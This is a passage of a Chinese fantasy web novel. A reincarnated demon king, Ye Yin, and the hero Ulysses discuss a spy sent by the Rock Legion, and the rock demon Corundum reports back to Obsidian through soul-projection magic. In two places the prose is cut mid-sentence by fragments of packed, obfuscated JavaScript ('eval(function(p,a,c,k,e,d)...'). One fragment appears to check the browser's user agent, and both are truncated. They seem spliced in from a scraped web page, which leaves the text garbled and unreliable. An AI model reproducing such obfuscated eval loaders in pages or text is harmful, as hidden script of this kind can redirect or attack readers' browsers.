掌心朝上的姿势让希冯仰起脸来,一双炽热到仿佛要将自己也点燃的金色龙眼、深深凝望着身前之人。他的嘴唇蠕动着,听不清究竟在念叨什么,只能从开合的节奏中察觉到,他在反复念着同一个字眼。 ……是什么呢? 被这般对待,并非叶隐所期望的事,所以希冯额间的莲花印记正在作乱。他全力按捺着身躯的颤抖,眼角却不由自主地溢出一滴晶莹,那并非呼唤魔王怜悯之心的伪装,而是他正承受着十倍于叶隐的疼痛的证明——唯独不同的一点是,他甘之如饴。那并非痛苦、而是喜悦之泪。 隔着朦胧的泪眼,叶隐与希冯对上视线。他完全能感觉到希冯的温度——他在燃烧,并且,自己的手指似乎成了火焰的引线,眼睁睁看着将要把那簇金色火苗引上身来。 ……然后呢? 希冯,他想要的绝不只是血,他到底想要什么? 为什么、要用那种眼神看着他? ……在他眼里,现在的自己究竟是叶隐,还是希恩? 些许恐慌袭上心头,但契约之印的存在稳住了叶隐的心神。 无论如何,希冯无法做出真正出格的事,就如他自己所说,他只是想要一丝怜悯而已。 叶隐最后一次试着抽手,没有抽动,于是他放弃了挣扎,也放弃了思考。 如果这样就能满足他,那…… ……也许过了一分钟,也许过了很久,总之,最后打破了这气氛的人是希冯。 他依依不舍地吐出叶隐的手指,将残留的唾液舔舐干净,并蹭了蹭叶隐的手背,以示告别。 “……” 什么话都说不出来,也不想说。叶隐收回手,甚至没来得及在衣袍上擦拭一下,只抹了一把眼泪,便转身而去,离开了地牢。 那股诡异的热量和痒意在他的指尖萦绕着,又过了许久,才随着他为自己释放的治愈魔法而散去。 20. 总集篇 “……简而言之,你的鼠鼠是间谍,但还没有收集到什么情报,暂时被希冯蒙骗过去了……大概就是这么一回事。” 听完叶隐的叙述,尤利西斯没有对希冯的立场转变作任何评价,只是露出略显惋惜的表情。 “你是不是在想,如果那只鼠只是普通的鼠就好了?”叶隐故意问道。 尤利西斯摇了摇头,“事已至此,只是多少有点可惜而已。” 宠物终归是宠物,如果其内里塞了一个近似人类的外物,那就无法再以宠物的眼光看待它了,而这不是尤利西斯能决定的事情,所以他只能接受。至于后悔什么的,压根无从谈起,因为事实本就是如此,并不是中途才变成这样的。 何况,对方还是另一位大魔的属下,是来探查情报的间谍,是站在他们对立面的存在,若非现在他们还可以利用对方来传递假消息,当场杀了它都算是仁慈了,更别提继续养着它。 “老鼠的事在意料之中,比起那个,我更好奇……” 说着,尤利西斯眼疾手快地将叶隐的左手抓过来,看向他指甲上那块明显刚长出不久、与周围格格不入的圆形角质。 他没有把话说完,但哪怕他什么都不说,也足够叶隐明白他的意思了。 ……靠!叶隐暗骂一声。 肉是长好了,但治愈魔法没办法让指甲完全愈合啊!!除非把整个指甲拔掉重新长…… 叶隐内心咆哮着,一边痛骂希冯是狗,一边飞快酝酿起措词。他一时没有心思对尤利西斯的动作作出反应,只是僵着身体,任由对方摆弄自己的左手,甚至连难得的牵手体验都来不及细细体会。 尤利西斯深深皱着眉头,沉声道:“你不是说,和那家伙订下了契约,它绝不会违背你的心意的吗?” “这个……是我自愿的。” 叶隐想了好一会儿,决定实话实说:“之后肯定会有用得到他的时候,但他受伤太重,不能一直这样下去,我担心到那时没法及时给他补给,就先给他提供一些血,这样他就可以自行选择合适的时机来恢复手臂。” 尤利西斯犀利地反问道:“它咬穿你的指甲,也是你自愿的?” 叶隐的手不自觉地抖了一下,面色有些难看。手部本就神经密布,希冯咬得又实在太狠,留下的疼痛的记忆极其鲜明,让叶隐想忘也忘不掉。 那个狗东西!! 他再次在心中把那厮痛骂一顿,同时向尤利西斯翻了个白眼,没好气道:“怎么可能!他还想咬我脖子呢,还好被我拒绝了,谁知道他把我手当猪肉一样啃……早知道他那么狗,我就把血装在瓶子里带过去了,一点机会都不给他留!” 叶隐的抗拒之意毋庸置疑,但尤利西斯依然眉头紧锁,似乎犹嫌不足。 好在,他最后也没有多说什么,只是捏着叶隐的手又放了几个治愈神术,确认连自己也无法令那处指甲长好之后,才将叶隐松开,平静道:“看来还是不要让你单独行动为好。” “我也是这么想的。”叶隐认同地点头,“在希冯撒的谎里,我现在正被你控制着,要圆这个谎,我肯定是不能单独出门了,就继续像之前那样接受你的看管吧。” “……” “希冯把一切责任都推到了你身上,接下来你的处境会相当危险。” 在尤利西斯欲言又止的眼神中,叶隐继续说着正事:“结界能保护我们,但不能解决一切问题,何况普通状态的我还不足以给它供给魔力,万一有大魔级别的魔物带着它的一整个军团、打算硬冲进来清君侧,我们就只有逃跑了,所以,现在必须稳住那只老鼠,绝不能让事情发展到那一步。” 听到“我们”一词,尤利西斯心中一动,紧盯着叶隐,问道:“你不会跟它们走的,对吧?” 叶隐回以莫名其妙的眼神,“我为什么要跟着它们走啊?又不是跑不掉。” “岩石军团,我听说过它们。”尤利西斯说道,“魔物力量至上,‘军团’就是它们最高一级的单位,岩石军团更是存在时间最久远、领地面积最大的军团之一。它们魔如其名,无论身躯还是脾气都像石头一样坚硬……也可以说是‘倔’。” “原来你有了解啊。” “它们对魔王极度忠诚,在历次魔王讨伐战中都伤亡众多,但其首领——大魔黑曜石,身经百战始终屹立不倒,所以岩石军团从未消失。” 叶隐不屑一顾,“魔王都死了不知道多少波了,这个黑曜石还活得好好的,我看也不见得有多忠诚嘛。” “万一它是真的忠诚呢?”尤利西斯追问道,“如果它甚至愿意效忠于没有觉醒的魔王,你会接受它的‘保护’吗?” “……” 叶隐无语又好笑,他终于听明白了,尤利西斯这是在担心他投敌呢! “除了没有一批忠心耿耿的手下以外,你比那黑曜石差在哪儿了?”他反问道,“我谁都不认识,为什么要丢下你,去投奔陌生人?” “也许我并不是你唯一的选择。”尤利西斯平静地替叶隐做着分析,“从你的角度思考,我可能只是个忠于人类的控制狂,你之所以半个月来都安分守己,不过是尚未接触到其他可能帮助到你的人。随着你对这个世界的了解愈发深入,我便不一定仍是最符合你个人利益的选择了,投靠其他势力也许是更明智的选择……那样的事,并不是不可能发生。” 叶隐斜眼看着这厮,神情中略带不可思议:“你这个人,疑心怎么这么重啊?我以为你没有趁我昏迷把我杀掉,已经算是信任我的表现了,结果还在玩这出?” “……?”尤利西斯一脸茫然。 “要是我原先只是迫于你的银威才屈服于你,听到这些分析,不生出点跳反之心,都算浪费了你这番唇舌!”叶隐忍不住又翻了个白眼,“再说,你对自己的吸引力就这么没有自信吗?” “吸引…力?” “首先,即使没有勇者之剑,你也是一等一的强者,全世界能和你五五开的人应该不超过一手之数,我不觉得那个黑曜石会在此列。” 叶隐自然没有见过黑曜石,其实也没有见过尤利西斯和希冯以外的强者,不过,他以自己爆种状态下的力量作为基准来横向对比,尤利西斯至少有他的七成实力——实际上,考虑到尤利西斯的师父已经年老体衰,尤利西斯自己很可能就是现存最强的人类战士了。 他掰着手指,一个个数道:“其次,你做饭很好吃,这点应该没有魔物能赶上你,因为它们大都没有正常的生理结构,进食只是囫囵吞枣;再者,你长得高又帅,银发金瞳独一无二,看着就对眼睛好;还有,你还会护理头发,说明你内心其实有细致柔软、极富耐心、会享受生活的一面……” 他喘了口气,总结道:“简而言之,你除了爱过苦行僧生活以外就没啥缺点了!” 尤利西斯欲言又止,叶隐还以为他要补充什么,竖起耳朵来听,结果却听对方说道:“银发金瞳其实不是独一无二的,因为还活着的勇者可能不止我一……” 没等他说完,叶隐就把脸垮了下来,怒斥道:“会不会看气氛啊!现在是说那种事的时候吗?!” “那……” 尤利西斯顿了顿,偷偷瞟了眼叶隐的脸色,大脑飞速运转,开口道:“感谢你对我的认可……?” 叶隐面色稍缓,却仍是眼神不善:他都把话说到这份上了,这厮居然一点像样的反应都没有,莫不是早就把他前些日子的自白忘得一干二净了?看来这球还不够直…… 被恐怖凝视着的尤利西斯有苦难言,他不明白,叶隐应该是在夸赞自己,为什么又要摆出这样一幅脸色,好像自己得罪了他似的?难道还在为自己不信任他而生气? 而叶隐的想法是:也罢,这家伙一看就是根禁欲多年的老木头了,不开窍很正常,还得徐徐图之…… 他中止了脑中的胡思乱想,轻哼一声,正色道:“不说那个了。倒是刚才你说的那句,‘还活着的勇者不止你一个’,是真的吗?” 被打断了反省的尤利西斯回过神来,答:“不,并不确定真假。只是,每一位勇者从生到死的人生都会被详细记录,甚至有一座专门的陵墓来收敛他们的尸身,或是衣冠冢,可唯独有一位勇者,既没有留下尸体,也没有被目击死亡,而是不知所踪。” 叶隐摸了摸下巴,“失踪啊?就算是勇者,在战乱时期,这种事也不是不可能发生,但至少也是几十年前的事了吧,也许他已经寿终正寝了呢?……你们的人均寿命大概多长?五十岁?” 尤利西斯解释道:“接受过教会洗礼的勇者,身体已经从根本层面发生了改变,比如无法与常人育有后代,寿命变得更加漫长等等。那位勇者的年代距今的确已有百余年,换成常人够轮回个五六次了,但他仍然有活着的可能性。” 叶隐摸下巴的手一抖,“喔靠,原来你和人类有生殖隔离?!” 尤利西斯,你个浓眉大眼的家伙,果然也不是人类!——这是他脑中第一时间闪过的想法。 “生殖隔离,这是你们那边对无法正常生育的术语吗?”尤利西斯好奇问道。 “这个……” 叶隐哽住了,他不知道自己应不应该解释。 不得不承认,他有一瞬间为此感到开心,毕竟,如果尤利西斯意识到自己已经不再是人类的话,他和同样非人非魔的叶隐就有了更多的共同点,就会成为彼此在血缘层面上唯一的同类,这绝对有利于拉近二人的关系,甚至可以一步到位,成为彼此唯一的存在。 但是,尤利西斯对人类这个种族的忠诚日月可鉴,即使把他不再是人类的事实告知于他,他说不定也无法理解,或是不以为意……当然,也有信仰崩塌的可能性。 他被赋予了这样一副非人的身体,却在完成自己的使命之前就被剥夺了勇者的身份,并在阴差阳错之下加入了魔王阵营,甚至亲手摧毁了杀死魔王的唯一希望——勇者之剑。如此下来,世间已没有第二个地方能容得下他了,可他的心却并不在这里,而是仍在遥远的人类帝国那边。 若连他与帝国的血缘关系都被斩断……纵使叶隐相信尤利西斯的理性和自制力,却也还是不敢赌他绝不会发疯。 哎,也罢,这种事,若不是尤利西斯本人提起,叶隐还不知道什么时候才能意识到。既然左右都无关紧要,那还是当这件事不存在好了。 “你…就当我没说过吧。” 叶隐摇摇头,转移了话题:“那,勇者的自然寿命能有多长?” 尤利西斯还是有些在意,但既然叶隐不说,他也只好作罢,回道:“在帝国近千年历史中,还不存在寿终正寝的勇者。即使他们没有在自己就任勇者的时候战死,也往往会因为诅咒性质的重伤而离开人世。” 诅咒有很多种形式,广义上的诅咒既包括以逆向方法所施展的神术,也包括以特殊性质的魔力施展的魔法。二者的共同点,就是能绕过通常情况下难以攻克的人体堡垒,对任何具有□□的生命造成持续性的伤害,直到这股力量耗尽,或被清除,或是目标死亡。 尤利西斯与觉醒后的希恩战斗时,就是被一记带有黑暗魔力的攻击剥夺了战斗力。几乎没有神术能够清除魔王的魔力,如果当时希恩没有收回那股力量,而尤利西斯又侥幸存活的话,那道伤势将会长久地伴随他,直到他痛苦地死去——魔物最为擅长这样的攻击,因此而死的人类绝不在少数。 “……据估算,勇者的寿命极限可能在两百岁以上,所以有不少人都期望着那位失踪的勇者能够存活至今,在关键时刻挺身而出。”尤利西斯说,“正因如此,勇者陵园里那块为他而准备的墓碑,至今没有刻下任何字。” 叶隐用鼻子发出一声轻哼,“人家就算活着,也早就做完了自己该做的事,没有继续战斗的义务了。一把年纪还要求人家拼命?哼,为自己而活下去才是明智的选择!”他掷地有声地道:“如果缺了他一个人的力量,人类就要灭亡,那说明人类就该灭亡!” 尤利西斯露出不赞同的神色,但没有说出什么反驳之语,以叶隐的立场,会有这样的态度再正常不过了,强行纠正只会引发他的逆反心理。 “……继续聊聊那只老鼠的事吧。”他强行将话题扯回原位,“就算我们能暂时稳住它,但接下来呢?魔王城内有变的事已经暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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先前,他依照自己的经验认为,维持爆种状态只会导致他的觉醒度异常上升,最终失控,但事实可能并非如此。作为与“觉醒度”并列的、唯二两个对叶隐本人和系统都至关重要的数值,“时髦值”绝不是一个无用的数据。 如果魔王系统的目的只是单纯让叶隐成为魔王,显然,只需要觉醒度这一个数值就够了。时髦值的存在,恰恰暗示了叶隐,“拉满觉醒度”并不是正途,否则的话,他的下场只会和过去被杀死的魔王们同样而已,这真的是魔王系统想看见的吗? 在魔王系统看来,“觉醒度”和“时髦值”,二者都是奖励,那么其本质有何不同呢?答案就在于时髦值对爆种状态的影响。当然,那只是表象,而要往深了说——它或许就是让叶隐在魔王之血的影响下保持人性的关键! 目前来说,这还只是推测,但已经没有比这更靠谱的推测了。 如此一来,叶隐的目标就明确了:在觉醒度被拉满之前,尽可能多地获取时髦值!时髦值越高,他与魔王之血的最终博弈的胜算也就越大! 接下来的问题就在于,要如何才能获取时髦值? 在刚刚得到系统时,叶隐曾因为一些莫名其妙的事就被系统奖励了时髦值,但那都是一次性的、不可复制的,再做相同的事也不会再得到奖励。叶隐也曾询问过系统,系统并没有明确地告诉他,怎么做才能获取时髦值,不过,这从过往之事中,依稀可以窥得一丝端倪: 【对待丑陋人类的态度正确,时髦值+1。】 【当前任务要求:了解这个人类的名字和职业。成功奖励:时髦值+1。】 【任务要求:让魔物卡拉瓦多斯承认您为新的魔王。成功奖励:时髦值+3、觉醒度+1。】 【第一次释放魔物魔法,时髦值+3。】 【任务要求:阻止他们杀死彼此。成功奖励:时髦值+5、觉醒度+5,失败惩罚:时髦值归零。】 叶隐获取时髦值的次数不多,但他勉强总结出了两条获取渠道: 其一,是达成“里程碑”,也就是成就,通俗来说,就是“第一次做到某件事”。至于做什么样的事会被系统认为足以被奖励时髦值,还总结不出规律,但叶隐可以列出几个触发几率高的条件:系统喜闻乐见的事(如欺负尤利西斯),意义重大的事(如第一次释放魔法)……总之往那个方向走就行了。 其二,是扩大叶隐自身的影响力,如收服新的手下,确认手下的特质,以及防止盟友因自相残杀而减员。简单来说,独木不成舟,既然叶隐不想依赖魔王之血,那就必须采取其他行动,纠结起一支忠于自己的团队,让朋友变多,让敌人变少,如此才能在群狼环伺中存活下去,在愈发狂猛的风暴中站稳脚跟。 之前,叶隐曾经怀疑,觉醒度并非系统自定义的数值,而是他自身的变化被系统量化后的表现,爆种时他因意志消沉而觉醒度暴涨一事证明了这一猜想。如今看来,时髦值大抵也是同样。 按照叶隐的理解,它很可能并非纯粹根据系统的喜好分发的奖励,而是某种“势”的具象化。它不是某种物质或能量,又同时受到多种因素干预,因此无法直观地理解其变化逻辑。尽管现在叶隐还不能确定它是什么——这很可能是一个关乎到系统最终目的的究极疑问——但他可以确定,这个逻辑是存在的,并且与他本人在这个世界的生活息息相关。 总之,无论是达成里程碑,还是扩大影响力,都不是龟缩在这魔王城中便能做到的事,所以叶隐早就在盘算着未来的去处了。恰好,那只老鼠的到来给了他一个离开的契机,而且是一个足够温和的契机,能够为他预留下更多的准备时间。 “黑曜石那边,能控制就控制住,不能控制就尽量拖住。说服它站在我们这边是几乎不可能的,希冯的谎言终究会被识破,我们又压根没什么筹码可以拿上谈判桌……但它足够谨慎,这就够了,我们就在它反应过来前这段时间内离开。”叶隐说道,“而且,我已经想好了一个不错的去处。” 尤利西斯不明白,从未踏出过魔王城的一步的叶隐能有什么去处?但叶隐胸有成竹的神情不像是假的,于是他配合地问了一句:“什么?” 叶隐仰头望着高耸的法师塔尖,伸手捻起一束从窗户射入的光线,简单翻过手腕,那束光芒便在他指尖变幻为了一枚花瓣。 他悠悠回道:“矗立在花海中的,一座小屋。” 随着一口轻气吹出,花瓣从他指尖落下,尤利西斯的视线不自觉地被牵动,直到它晃晃悠悠地飘到桌子中央,激起一阵涟漪,倒映出一张世界地图——以及两张专注地看向彼此的脸。 21. 通灵魔法 灵魂,无法被生命通常的感官所感知。 在相当一段时间里,尤其是在人类得到神的恩赐——神术,以及凭借自身智慧挖掘出世界的秘密——魔法之前,“灵魂”甚至只是一个用以缓冲人类对死亡的恐惧的概念。 如果灵魂真的存在,那地狱与天堂,这些无法被证实的、只存在于故事中的概念,也有存在的可能。 善有善报、恶有恶报,人们可以将此作为约束自身与他人行为的凭依,并不再畏惧生命的结束,以更加平静、坦然的姿态迎来终点。 至于人们所认为的“灵魂”,与真正意义上的灵魂,这二者究竟是不是同一个东西,又有何区别,各人有各人的看法。 如今,虽然灵魂,乃至于“神”的存在,都已经得到了侧面的印证,但对大部分人而言,唯有临死前、意识尚未消散的短暂时光中,他们才能体验到灵魂的视角。 不过,对于魔物,这种灵肉关系更为松散的存在,它们的灵魂可以在特定情况下从肉身中剥离出来。尽管那在大多数时候都会导致魔物损失对应的肉身,却也有极少数特别的魔物,凭借着自身身躯的特异,将这种自虐行为开发成了一种技术——即“通灵魔法”。 岩石军团之所以以“岩石”为名,正是因为它们的身体并非由血肉,而是由岩石组成。血肉中的灵魂来自于作为菌毯养料的人类,岩石中的灵魂则直接来自组成岩石的元素,从这个角度来说,这批魔物天然就与其他魔物有着天壤之别。 相比容易性质变化的火元素,或是容易物理变化的风、水元素,土元素在各方面的性质都极为稳定,稳定到即使它们在地层中大量存在,甚至总量远超其他所有元素的总和,也依然难以被开发和利用。而岩石魔物,正是诞生于那些过于沉寂、以至于连自身的存在都快要忘却的土元素。 这些相似中带着不同的元素在地层中相聚、形成结晶,它们与外部元素的差距越来越大,最后在极致的高压高温中彻底异变,浴火重生,甚至于组成身体的所有元素的灵魂都聚集到了一起,成为了统一的个体,就像单细胞生物变为多细胞生物那样——一个干净且聪明的灵魂,掌管着一具复杂但统一的身体。 岩石魔物的一切,都与那些支离破碎的血肉魔物截然不同。 如果有人能够仔细研究岩石魔物的成因,将其整理成册,它们一定会为“魔物”开辟一个独立的下属分类,彻底改变人类对魔物的认知…… 话扯远了。 通灵魔法的研发和使用条件极其苛刻——首先,要保证使用者灵魂离体后一段时间依然不死,其次,离体的灵魂必须还能够回到使用者的身体中。这两个环节但凡有一个出错,使用者的下场就只有死亡而已。 而在这两个前提下,由岩石魔物刚玉所开发的通灵魔法,甚至能将使用者的灵魂寄宿在另一具差异极大的肉身中——排除魔王那样的特例,即使在全世界范围内,或许也只有无论身体还是灵魂都极致“纯粹”的岩石魔物,能使用这样玩弄灵魂的魔法而不遭受天谴了。 …… 在笼子中的黄鼠睡下时,一坨不可视的烟状物从它的口鼻飘出,在空中聚合成形,随后穿墙而过,视城堡的墙壁和结界于无物,以不快也不慢的速度,晃晃悠悠地朝着远处它原本的身体飞去。 它花了两个小时,最终飘到了数十公里外的地下,一处为了隐蔽而将出入口完全掩埋的仪式场中。 在灵魂回到法阵中央那枚粉色棱锥体中的瞬间,透明的椎体中央开始散发魔力的微光。它无声地悬浮而起,另两块似作手臂之用的晶体凭空拼接到身体两侧,旋转两圈后,被带有魔力的符文牵拉着,定格在了该在的位置——这便是魔物刚玉的完全体了。 虽然它连带着身体与手臂,也只是与常人的头颅一般大,但没有一个岩石军团的成员会认错它,或是敢对它不敬—— “诶,诶!!” 灵魂刚回归身体,魔力的出力还不太稳定,刚玉险些直接摔到坚硬的地板上,往下掉了几寸才堪堪稳住自己的身体,随后抬手擦了擦那并不存在的额头上并不存在的汗。 “得尽快把情报传回给黑曜石大人……!” 刚玉迅速调整好状态,悬浮着飞往仪式场角落,顺着通道飞向隔壁的房间。 这个场地并非一次性的,正相反,为了在刚刚好的距离上探查魔王城的情况,它可是费了很大力气才选中这个地址,并挖出了这片地下场地。里面各类书籍、器材、祭品应有尽有,加上它压根不需要呼吸和照明,干脆把路口也堵了,只靠短距离空间魔法进出,可谓完美的秘密基地。 岩石军团的大本营距离魔王城有数百公里,通常的探测魔法想要达到这个距离,一旦超过施法者的极限,需要的魔力就会成几何倍数增长,严重影响魔法的稳定性乃至可行性。 另外,距离同样也是通灵魔法的隐藏限制之一,因为灵魂状态的移动速度是有限的,可用的素体也并非满大街都是,所以刚玉必须在足够近的距离下施法,不然,要么情报不能及时传回,要么它的灵魂会在过于遥远的途中消散,那样一切就都没有意义了。 来到专为远距离通话而修建的辐射形场地,刚玉飞到场地中央,将另一块蕴含魔力的晶体作为媒介,打通了与大魔黑曜石的“电话”。 “黑曜石大人,这里是刚玉!我有重要情报要汇报!”刚玉的身体高速旋转着,体内魔力不断流动、共振,以此发出女声,以及一种细细的嗡鸣。 它叽里呱啦了半天,总结道:“……总之情况就是这样!请给我进一步指示!” “电话”那头沉默了许久,才传来一个极为中性、不带有任何情绪、几乎毫无起伏的声音: “既然你见过魔王陛下了,在你看来,他与先前有何不同?” 和那个极其沉闷的声音比起来,即使是语气略显生硬的刚玉,也堪比真实的少女一样活泼:“这个,我曾经就只见过陛下一面,不能确保印象真实无误,这几天里与陛下见面的机会也不多……” 它先小心地给自己叠了两波甲,随后边回想边回复道:“我感觉,陛下比先前开朗很多,无论是对卡拉瓦多斯大人,还是对那个人类勇者尤利西斯,他都完全没有架子,非常亲切,就像朋友一样。” “他还有身为魔王时的记忆吗?” “我也担心过这个问题……我认为,他很可能是忘了,有很多证据可以作证这个猜想。” 刚玉举出了希冯被扔在地牢里无人看管的例子,以及叶隐对明显具有勇者特征的尤利西斯全然不排斥的事,道:“……虽然还没有决定性的证据,但陛下的确与先前大不相同了,只有他同时失去了力量和记忆,才能解释现在的情况,而且,这也能印证‘勇者的秘密武器是时空魔法’的说法。” 它甚至觉得,叶隐对尤利西斯已经不只是“不排斥”的问题了,甚至是“隐隐来电”,但它不敢把这种基于纯粹直觉的想法当作情报告诉黑曜石。也不知道那石头似的人类是怎么勾引到魔王陛下的?他们彼此之间可是有血海深仇的啊!真是人不可貌相! “电话”那头又沉默了会儿,忽然问道:“你有看到过勇者之剑吗?” “不,没有看到过,至少那个勇者从来没有携带着,也许是被藏起来了吧?”刚玉思考着,“不过,希冯大人谈到勇者袭击魔王陛下的时候,也没有提到勇者是否带着勇者之剑……是因为人类那边过于信任秘密兵器的效果,所以特地没有让勇者把剑带上吗?有这种可能性……不过,这是不是意味着,他们没有想过要彻底杀死陛下呢?” 出动了秘密兵器,也没能将魔王直接杀死,按照人类以往的战略方向,这绝对算是致命的失误,但以现在勇者与魔王的相处情况来看,刚玉有些难以确定,这究竟是人类的战略失误,还是故意为之——难道他们改变了应对魔王的策略?可又是为什么? 只是为了杀死魔王的话,在那秘密兵器生效之后,再用勇者之剑补刀,就足以在所有魔物反应过来前结束战斗了。可要是勇者一开始就没带勇者之剑,不打算杀死魔王的话,那……迄今为止的发展,都在人类那边的预料之中吗? 他们的目的,究竟是什么呢? 刚玉正冥思苦想着,却突然听见“电话”中传来一声不似笑声的笑:“你把事情想复杂了。” 刚玉一怔,立刻恭敬道:“请大人指教!” 黑曜石不应,只道:“你说,希冯大魔的头颅上多了一枚陌生的莲花图案。” 一说到自己的特长领域,刚玉就变得絮絮叨叨:“是的!我认为那是某种魔法印记,但很抱歉,以我的学识并没能认出它,也许我需要查阅更多资料,正好我也馋魔王城内的藏书已久了……” 黑曜石打断了它的碎碎念:“不,暂时不要管它。” “诶?”刚玉一怔,旋转的身体逐渐停顿了下来,“不管…可以吗?” “在你外出的时候,我从人类帝国那边得到了一些有趣的新情报。”黑曜石说,“但以我的判断,不知道这些事,对你的工作更有利。” 帝国的情报……和希冯大魔头上的印记又有什么关系? 刚玉不是很懂,但它知道自己该做什么,立即顺从道:“我相信您的判断!” 它很好奇,黑曜石是否已经知晓了事件的全貌,以及谜题的答案?它想知道。 但既然黑曜石做出如此判断,它要做的便唯有顺从。 这不仅是刚玉自己的作风,更是包括它在内的绝大多数岩石魔物的生存之道——就像它们由元素聚合为魔物的时候一样,围绕着最为古老、最具有智慧的黑曜石,它们再度合而为一,将力量与智慧聚于一身,试图以此升华为更宏伟的、真正永恒不变的个体。 没有质疑,只有理解;没有反抗,只有顺从;没有背叛,只有忠诚。 没有生,也没有死,只有一块能够延续到世界终焉的石头。 作为通话媒介的水晶之中,那仿佛亿年不变的、无机物般的嗓音叮嘱道:“你不需要积极行动,只需保持低调与隐秘。保证鼠类躯体的存活和信息连接是你的第一优先级,随后按时报告你的所见所闻即可。若计划有变,我会采取紧急手段通知你。” 刚玉应道:“是!” 它犹豫了几秒,问道:“在此期间,若是人类勇者对魔王陛下欲行不轨,我是否应该不惜一切代价保护陛下?” “在确保自身安全的前提下,你可以随意发挥。” 刚玉精神一振,大声应道:“是!交给我吧!!” 该死的人类,也不知对魔王陛下打了什么主意!陛下可是连黑曜石大人也甘愿臣服万魔之尊,如今被暗害失去了力量和记忆,已是众魔的失职,不能再让他受到任何伤害了!刚玉暗暗下定决心。 交给我吧……给我吧……我吧……吧…… 回声作定时,岩壁上的碎石都被抖落下来一撮。 …… 带着新的任务,刚玉重新睁开自己的鼠眼,目光严肃。 但下一刻,它尖叫一声,本能地四肢狂舞,连滚带爬地跑到笼子的角落,贴着笼壁大口喘气,惊魂未定。 “终于醒了,大白天睡这么沉啊,是不是想趁晚上出去偷东西吃?哼哼……” 叶隐的大脸正在笼外左右摇晃,他的一只眼睛就有刚玉的半只身子大,对一只鼠来说和哥斯拉也没有什么区别。 “晚饭时间已经过了哦,我们可没有特地给你留饭。”说着,叶隐从口袋里掏出一把米粒,放进食盒中,“今天只有米了,如果你不吃,我就收走咯。不想饿肚子的话,就赶紧解决掉吧,小黄~” 刚玉:“……”糟糕,路上花太多时间了,没赶上晚饭! 还有,“小黄”是在叫它吗?它的毛难道不是金色的吗? 刚玉对普通的食物是真的没有一点儿兴趣,毕竟它原本的身体就没有进食的需求,甚至换到这具老鼠身体里之后才有了味蕾,才能尝出味儿来,在此之前它就没体会过什么是味觉、什么是嗅觉。 刚来到魔王城时,它遵循本能溜进厨房,把有兴趣的食物都啃了一口,得出一个结论:还不如什么都不吃呐!但没过多久,它就饿扁了,不得已又回来找吃的,结果吃到一半,就看到尤利西斯进来做饭,吓得躲了起来。闻到那饭的香味时,它才后知后觉地意识到,原来这些食物只是材料,那个人类手上端着的,才叫真正的食物啊! 可惜,它最后也没吃上,反倒被该死的人类以饭为饵抓了个瓮中捉鳖,越狱去干正事之后又被卡拉瓦多斯逮住,直接失去了自由之身,直到被叶隐施舍剩饭,才终于得偿所愿。 明明都当上宠物了,按照石英的说法,它应该会得到优待才对,怎么还是只有生米吃? 刚玉陷入沉思。 ……难道是石英给它选的身体太坑,得不到魔王陛下的喜爱? 的确魔王陛下曾经也是人类,而人类都讨厌老鼠,但石英明明说这具身体不是“老鼠”而是“仓鼠”来的,是人类贵族特意培育的宠物品种……为什么还是被讨厌了啊?! 石!英!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶隐没能从黄鼠身上感觉到魔力,但他已经意识到,这个世界上的90%的未解之谜都是魔法搞的鬼,现在他可以确定了,这的确就是魔法的作用。 “不存在于水晶球记录中的全新魔法……但是很明显有根据其他魔法改良而来的痕迹。” “具体作用的话,多半是与灵魂有关,这样就可以解释为何我感觉不到它身上的魔力,因为那不是持续作用型的术式,但那个术式依然能水晶球检索到,也许正是因为它所作用的是灵魂的缘故……” 现在的叶隐已经完全可以自称魔法师了,毕竟他先是通过希恩的记忆汲取了许多施法经验,又在爆种状态下被动接收了许多魔法知识,并且在穿越后的半个月多中从未停止过学习,如此轮番填鸭式教育下,他多少也能做出点正经分析了。 “能直接作用于灵魂、效果又精确可控的术式几乎不存在,就算有,也不是现在的我能掌控的。即使直接杀了那只老鼠,它损失的恐怕也只是一具身体罢了,还真是拿它没什么办法……” 叶隐想了半天,也只想到一个方法,能够确保截断老鼠与岩石军团的信息传递,那就是希恩曾经在希冯身上用过的魔法——封印。只要将身体连带着灵魂一起封印,就可以绕过干涉灵魂这个最大的难题。 封印魔法的术式的确存在于水晶球的记录中,但很可惜,现在的叶隐施展不出来。 “算了,还是先不管它了。” 叶隐暂时放弃了针对岩石军团的打算,他还有另一件重要的事必须尽快完成—— 他正在尝试着改变水晶球的形态,将其小型化,方便带走。 如果离开魔王城时只能选择带走一样东西,叶隐会毫不犹豫地选择水晶球。尽管那会直接破坏掉城中的结界,并导致法师塔失去中枢,但那些代价,相比起水晶球中浩瀚如山的知识,是如此的微不足道。 “……我明白了!球体是最为万能的形态,对大部分术式都有加成,其他形态的话,不同的几何体对应不同种类的魔法,形态越是复杂,通用性就越差,反之,对其中一类甚至仅仅一种魔法的加成会达到最高……” “什么魔法对我最有利?我最需要什么魔法?必须想清楚。” 为法器转变形态是一件很耗费精力的事,叶隐在刚开始处理水晶球时就察觉到了这一点。之后也不知道还有没有机会再来做类似的调整,能一步到位是最好的了。 从根本的思维上来说,叶隐并不能算是个合格的魔法师,因为他不会在第一时间就想着用魔法来解决遇到的问题,他总觉得那会让自己失去身而为人的能力。 他认为,有许多事,即使不通过魔法也能达成,比如情绪感知魔法,只要察言观色的能力足够,观察的结果甚至能比魔法还要精准,那样的话,用魔法代替其他方面的努力,只会逐渐废弃掉自己的其他可能性。 ……但是,无法否认的是,魔法真的很万能、很便利。 自从做了希恩那个梦之后,叶隐每天都会给拿裁剪盆栽落下来的枯枝败叶给自己变糖吃,魔法已经逐渐融入到他的习惯中去了,除非他现在就能穿越回去,回到那个无需魔法也能得到几乎一切的世界中,不然完全不用魔法是不现实的。 “……有什么事,是我必须借助魔法才能达成的吗?” 叶隐将水晶球托在手中,闭上双眼,集中精力,扪心自问。 让自己恢复成人类之身?让尤利西斯爱上自己? 解决这个世界的魔物危机?回到原本的世界?…… 还是说,再见到什么人? ……过了许久,等到他再次睁开眼睛时,掌中飘浮着的水晶球已经变了模样。 